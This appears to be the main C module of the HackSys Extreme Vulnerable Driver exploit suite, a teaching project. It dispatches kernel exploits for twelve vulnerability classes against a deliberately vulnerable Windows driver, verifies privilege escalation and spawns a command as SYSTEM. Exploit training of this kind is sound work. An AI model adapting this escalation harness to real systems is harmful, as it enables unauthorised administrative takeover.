/*++

          ##     ## ######## ##     ## ########  
          ##     ## ##       ##     ## ##     ## 
          ##     ## ##       ##     ## ##     ## 
          ######### ######   ##     ## ##     ## 
          ##     ## ##        ##   ##  ##     ## 
          ##     ## ##         ## ##   ##     ## 
          ##     ## ########    ###    ########  

        HackSys Extreme Vulnerable Driver Exploit

Author : Ashfaq Ansari
Contact: ashfaq[at]hacksys[dot]io
Website: https://hacksys.io/

Copyright (C) 2021-2023 HackSys Inc. All rights reserved.
Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.

This program is free software: you can redistribute it and/or modify it under the terms of
the GNU General Public License as published by the Free Software Foundation, either version
3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program.
If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
    HackSysEVDExploit.c

Abstract:
    This module implements the main routines to invoke 
    exploit for respective vulnerabilities.

--*/

#include "HackSysEVDExploit.h"

CHAR *argv0;

static VOID ShowUsage(PTCHAR Process) {
    DEBUG_ERROR("                                             \n"
                " Usage: %s [option] -c [process to launch]   \n"
                "                                             \n"
                "        %s -a -c cmd.exe                     \n"
                "                                             \n"
                "        [option]                             \n"
                "            -d : Double Fetch                \n"
                "            -p : Pool Overflow               \n"
                "            -s : Stack Overflow              \n"
                "            -u : Use After Free              \n"
                "            -t : Type Confusion              \n"
                "            -i : Integer Overflow            \n"
                "            -g : Stack Overflow GS           \n"
                "            -n : Null Pointer Dereference    \n"
                "            -a : Arbitrary Memory Overwrite  \n"
                "            -f : Insecure Kernel File Access \n"
                "            -h : Uninitialized Heap Variable \n"
                "            -v : Uninitialized Stack Variable\n"
                "                                             \n", Process, Process);
    exit(EXIT_FAILURE);
}

VOID LaunchExploitThread(LPTHREAD_START_ROUTINE ExploitHandlerThread) {
    DWORD_PTR Mask = 0;
    HANDLE hThread = NULL;
    DWORD ThreadTimeout = 0x50000;

    // Create a new thread
    DEBUG_MESSAGE("\t[+] Creating The Exploit Thread\n");
    hThread = CreateThread(NULL, 0, ExploitHandlerThread, NULL, CREATE_SUSPENDED, 0);

    if (!hThread) {
        DEBUG_ERROR("\t\t[-] Failed To Create Exploit Thread: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    DEBUG_INFO("\t\t[+] Exploit Thread Handle: 0x%X\n", hThread);

    SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
    SetThreadAffinityMask(hThread, Mask);

    ResumeThread(hThread);

    if (WaitForSingleObject(hThread, ThreadTimeout)) {
        // Terminate the thread
        TerminateThread(hThread, EXIT_FAILURE);
        DEBUG_INFO("\t\t[+] Terminated Exploit Thread: 0x%X\n", hThread);
    }

    CloseHandle(hThread);
}

BOOL IsProcessHavingHigherPrivilege(LPCSTR TargetProcess) {
    DWORD ProcessID = 0;
    HANDLE hProcess = NULL;
    BOOL IsHighPrivileged = FALSE;

    DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", TargetProcess);

    ProcessID = GetProcessID(TargetProcess);

    if (!ProcessID) {
        DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", TargetProcess);
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", TargetProcess, ProcessID);
    }

    DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", TargetProcess);

    // Open the process to check the privilege level, if we are able
    // to open any SYSTEM process, this means we have successfully
    // elevated current process privileges
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);

    if (!hProcess) {
        DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", TargetProcess, GetLastError());
    }
    else {
        DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", TargetProcess, hProcess);
        IsHighPrivileged = TRUE;
    }

    return IsHighPrivileged;
}

VOID Exploit(PEXPLOIT_VULNERABILITY ExploitVulnerability) {
    DWORD Start, Stop = 0;
    DOUBLE ElapsedTime = 0.000;
    STARTUPINFO StartupInfo = {0};
    PROCESS_INFORMATION ProcessInformation = {0};
    VULNERABILITY_TYPE VulnerabilityType = ExploitVulnerability->VulnerabilityType;

    // Log the start TickCount
    Start = GetTickCount();

    // Determine type of vulnerability to exploit
    switch (VulnerabilityType) {
        case DoubleFetch:
            DEBUG_MESSAGE("[+] Starting Double Fetch Exploitation\n");
            LaunchExploitThread(&DoubleFetchThread);
            DEBUG_MESSAGE("[+] Completed Double Fetch Exploitation\n");
            break;
        case PoolOverflow:
            DEBUG_MESSAGE("[+] Starting Pool Overflow Exploitation\n");
            LaunchExploitThread(&PoolOverflowThread);
            DEBUG_MESSAGE("[+] Completed Pool Overflow Exploitation\n");
            break;
        case UseAfterFree:
            DEBUG_MESSAGE("[+] Starting Use After Free Exploitation\n");
            LaunchExploitThread(&UseAfterFreeThread);
            DEBUG_MESSAGE("[+] Completed Use After Free Exploitation\n");
            break;
        case TypeConfusion:
            DEBUG_MESSAGE("[+] Starting Type Confusion Exploitation\n");
            LaunchExploitThread(&TypeConfusionThread);
            DEBUG_MESSAGE("[+] Completed Type Confusion Exploitation\n");
            break;
        case StackOverflow:
            DEBUG_MESSAGE("[+] Starting Stack Overflow Exploitation\n");
            LaunchExploitThread(&StackOverflowThread);
            DEBUG_MESSAGE("[+] Completed Stack Overflow Exploitation\n");
            break;
        case IntegerOverflow:
            DEBUG_MESSAGE("[+] Starting Integer Overflow Exploitation\n");
            LaunchExploitThread(&IntegerOverflowThread);
            DEBUG_MESSAGE("[+] Completed Integer Overflow Exploitation\n");
            break;
        case StackOverflowGS:
            DEBUG_MESSAGE("[+] Starting Stack Overflow GS Exploitation\n");
            LaunchExploitThread(&StackOverflowGSThread);
            DEBUG_MESSAGE("[+] Completed Stack Overflow GS Exploitation\n");
            break;
        case ArbitraryOverwrite:
            DEBUG_MESSAGE("[+] Starting Arbitrary Memory Overwrite Exploitation\n");
            LaunchExploitThread(&ArbitraryOverwriteThread);
            DEBUG_MESSAGE("[+] Completed Arbitrary Memory Overwrite Exploitation\n");
            break;
        case UninitializedHeapVariable:
            DEBUG_MESSAGE("[+] Starting Uninitialized Heap Variable Exploitation\n");
            LaunchExploitThread(&UninitializedHeapVariableThread);
            DEBUG_MESSAGE("[+] Completed Uninitialized Heap Variable Exploitation\n");
            break;
        case UninitializedStackVariable:
            DEBUG_MESSAGE("[+] Starting Uninitialized Stack Variable Exploitation\n");
            LaunchExploitThread(&UninitializedStackVariableThread);
            DEBUG_MESSAGE("[+] Completed Uninitialized Stack Variable Exploitation\n");
            break;
        case NullPointerDereference:
            DEBUG_MESSAGE("[+] Starting Null Pointer Dereference Exploitation\n");
            LaunchExploitThread(&NullPointerDereferenceThread);
            DEBUG_MESSAGE("[+] Completed Null Pointer Dereference Exploitation\n");
            break;
        case InsecureKernelFileAccess:
            DEBUG_MESSAGE("[+] Starting Insecure Kernel File Access Exploitation\n");
            LaunchExploitThread(&InsecureKernelFileAccessThread);
            DEBUG_MESSAGE("[+] Completed Insecure Kernel File Access Exploitation\n");
            break;
    }

    DEBUG_MESSAGE("[+] Checking Current Process Privileges\n");

    // Verify if the privilege escalation was successful
    if (!IsProcessHavingHigherPrivilege("csrss.exe")) {
        DEBUG_ERROR("\t[-] Failed To Elevate Privileges Of Current Process\n");
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_MESSAGE("\t[+] Successfully Elevated Current Process Privileges\n");
    }

    StartupInfo.wShowWindow = SW_SHOW;
    StartupInfo.cb          = sizeof(STARTUPINFO);
    StartupInfo.dwFlags     = STARTF_USESHOWWINDOW;

    // Log the stop TickCount
    Stop = GetTickCount();

    // Calculate the elapsed time between two tick counts
    ElapsedTime = (Stop - Start) / 1000.000;

    DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%.3f]s\n\n", ElapsedTime);

    if (!CreateProcess(NULL,
                       ExploitVulnerability->Command,
                       NULL,
                       NULL,
                       FALSE,
                       CREATE_NEW_CONSOLE,
                       NULL,
                       NULL,
                       &StartupInfo,
                       &ProcessInformation)) {
        DEBUG_ERROR("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    WaitForSingleObject(ProcessInformation.hProcess, INFINITE);

    // Close the open handles
    CloseHandle(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hProcess);
}


INT main(UINT argc, PTCHAR argv[]) {
    CONST PTCHAR Banner =
        "\t\t                                               \t\n"
        "\t\t    ##     ## ######## ##     ## ########      \t\n"
        "\t\t    ##     ## ##       ##     ## ##     ##     \t\n"
        "\t\t    ##     ## ##       ##     ## ##     ##     \t\n"
        "\t\t    ######### ######   ##     ## ##     ##     \t\n"
        "\t\t    ##     ## ##        ##   ##  ##     ##     \t\n"
        "\t\t    ##     ## ##         ## ##   ##     ##     \t\n"
        "\t\t    ##     ## ########    ###    ########      \t\n"
        "\t\t                                               \t\n"
        "\t\t  HackSys Extreme Vulnerable Driver Exploits   \t\n"
        "\t\t         Ashfaq Ansari (@HackSysTeam)          \t\n"
        "\t\t           ashfaq[at]payatu[dot]com            \t\n"
        "\t\t                                               \t\n";

    PTCHAR CommandToExecute = NULL;
    EXPLOIT_VULNERABILITY ExploitVulnerability;

    ClearScreen();
    CenterConsoleScreen();

    // Print the banner
    DEBUG_SUCCESS(Banner);

    if (argc < 3) {
        ShowUsage(argv[0]);
    }

    // Parse the command line arguments
    ARGBEGIN {
    case 'd':
        ExploitVulnerability.VulnerabilityType = DoubleFetch;
        break;
    case 'p':
        ExploitVulnerability.VulnerabilityType = PoolOverflow;
        break;
    case 'u':
        ExploitVulnerability.VulnerabilityType = UseAfterFree;
        break;
    case 't':
        ExploitVulnerability.VulnerabilityType = TypeConfusion;
        break;
    case 's':
        ExploitVulnerability.VulnerabilityType = StackOverflow;
        break;
    case 'i':
        ExploitVulnerability.VulnerabilityType = IntegerOverflow;
        break;
    case 'g':
        ExploitVulnerability.VulnerabilityType = StackOverflowGS;
        break;
    case 'a':
        ExploitVulnerability.VulnerabilityType = ArbitraryOverwrite;
        break;
    case 'h':
        ExploitVulnerability.VulnerabilityType = UninitializedHeapVariable;
        break;
    case 'v':
        ExploitVulnerability.VulnerabilityType = UninitializedStackVariable;
        break;
    case 'n':
        ExploitVulnerability.VulnerabilityType = NullPointerDereference;
        break;
    case 'f':
        ExploitVulnerability.VulnerabilityType = InsecureKernelFileAccess;
        break;
    case 'c':
        ExploitVulnerability.Command = EARGF(ShowUsage(argv[0]));
        break;
    default:
        ShowUsage(argv[0]);
    } ARGEND;

    // Start the exploitation
    Exploit(&ExploitVulnerability);

    return EXIT_SUCCESS;
}
